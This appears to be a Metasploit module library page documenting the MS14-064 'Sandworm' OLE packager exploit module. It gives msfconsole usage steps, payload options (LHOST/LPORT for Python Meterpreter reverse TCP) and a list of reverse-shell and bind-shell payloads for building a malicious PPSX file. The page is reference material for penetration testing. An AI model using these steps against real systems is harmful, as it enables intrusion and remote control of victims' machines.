MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python - Metasploit
This page contains detailed information about how to use the exploit/windows/fileformat/ms14_064_packager_python metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python
Module: exploit/windows/fileformat/ms14_064_packager_python
Source code: modules/exploits/windows/fileformat/ms14_064_packager_python.rb
Disclosure date: 2014-11-12
Last modification time: 2022-03-10 18:03:35 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-4114, CVE-2014-6352
This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE) allowing arbitrary code execution, bypassing the patch MS14-060, for the vulnerability publicly known as "Sandworm", on systems with Python for Windows installed. Windows Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable. However, based on our testing, the most reliable setup is on Windows platforms running Office 2013 and Office 2010 SP2. Please keep in mind that some other setups such as those using Office 2010 SP1 may be less stable, and may end up with a crash due to a failure in the CPackage::CreateTempFileName function.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/windows/fileformat/ms14_064_packager_python
msf exploit(ms14_064_packager_python) > show targets
... a list of targets ...
msf exploit(ms14_064_packager_python) > set TARGET target-id
msf exploit(ms14_064_packager_python) > show options
... show and set options ...
msf exploit(ms14_064_packager_python) > exploit
Go back to menu.
Msfconsole Usage
Here is how the windows/fileformat/ms14_064_packager_python exploit module looks in the msfconsole:
msf6 > use exploit/windows/fileformat/ms14_064_packager_python
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/ms14_064_packager_python) > show info
Name: MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python
Module: exploit/windows/fileformat/ms14_064_packager_python
Platform: Python
Arch: python
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-11-12
Provided by:
Haifei Li
sinn3r <[email protected]>
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.ppsx yes The PPSX file
Payload information:
Description:
This module exploits a vulnerability found in Windows Object Linking
and Embedding (OLE) allowing arbitrary code execution, bypassing the
patch MS14-060, for the vulnerability publicly known as "Sandworm",
on systems with Python for Windows installed. Windows Vista SP2 all
the way to Windows 8, Windows Server 2008 and 2012 are known to be
vulnerable. However, based on our testing, the most reliable setup
is on Windows platforms running Office 2013 and Office 2010 SP2.
Please keep in mind that some other setups such as those using
Office 2010 SP1 may be less stable, and may end up with a crash due
to a failure in the CPackage::CreateTempFileName function.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-6352
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/MS14-064
http://www.securityfocus.com/bid/70690
http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-for-the-sandworm-zero-day-even-editing-can-cause-harm
Module Options
This is a complete list of options available in the windows/fileformat/ms14_064_packager_python exploit:
msf6 exploit(windows/fileformat/ms14_064_packager_python) > show options
Module options (exploit/windows/fileformat/ms14_064_packager_python):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.ppsx yes The PPSX file
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013
Advanced Options
Here is a complete list of advanced options supported by the windows/fileformat/ms14_064_packager_python exploit:
msf6 exploit(windows/fileformat/ms14_064_packager_python) > show advanced
Module advanced options (exploit/windows/fileformat/ms14_064_packager_python):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/fileformat/ms14_064_packager_python module can exploit:
msf6 exploit(windows/fileformat/ms14_064_packager_python) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/fileformat/ms14_064_packager_python exploit:
msf6 exploit(windows/fileformat/ms14_064_packager_python) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/meterpreter_bind_tcp normal No Python Meterpreter Shell, Bind TCP Inline
13 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
14 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
15 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
16 payload/python/pingback_bind_tcp normal No Python Pingback, Bind TCP (via python)
17 payload/python/pingback_reverse_tcp normal No Python Pingback, Reverse TCP (via python)
18 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
19 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
20 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
21 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the windows/fileformat/ms14_064_packager_python exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/fileformat/ms14_064_packager_python) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #4694 Merged Pull Request: Fix #4693 - Uninit Rex::OLE in MS14-064 exploits
- #4373 Merged Pull Request: fix invalid URI scheme
- #4201 Merged Pull Request: Minor typos and grammar fixes (release fixup)
- #4196 Merged Pull Request: Add module for MS14-064 bypassing UAC through python for windows
References
- CVE-2014-6352
- MS14-064
- BID-70690
- http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-for-the-sandworm-zero-day-even-editing-can-cause-harm
See Also
Check also the following modules related to this module:
- exploit/windows/fileformat/ms14_060_sandworm
- exploit/windows/fileformat/ms14_064_packager_run_as_admin
- exploit/windows/browser/ms14_064_ole_code_execution
- exploit/windows/fileformat/ms14_017_rtf
- exploit/windows/browser/ms14_012_cmarkup_uaf
- exploit/windows/browser/ms14_012_textrange
- exploit/windows/local/ms14_009_ie_dfsvc
- exploit/windows/local/ms14_058_track_popup_menu
- exploit/windows/local/ms14_070_tcpip_ioctl
- exploit/windows/misc/ms07_064_sami
- exploit/linux/http/tr064_ntpserver_cmdinject
- auxiliary/admin/kerberos/ms14_068_kerberos_checksum
- auxiliary/gather/ms14_052_xmldom
Authors
- Haifei Li
- sinn3r
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.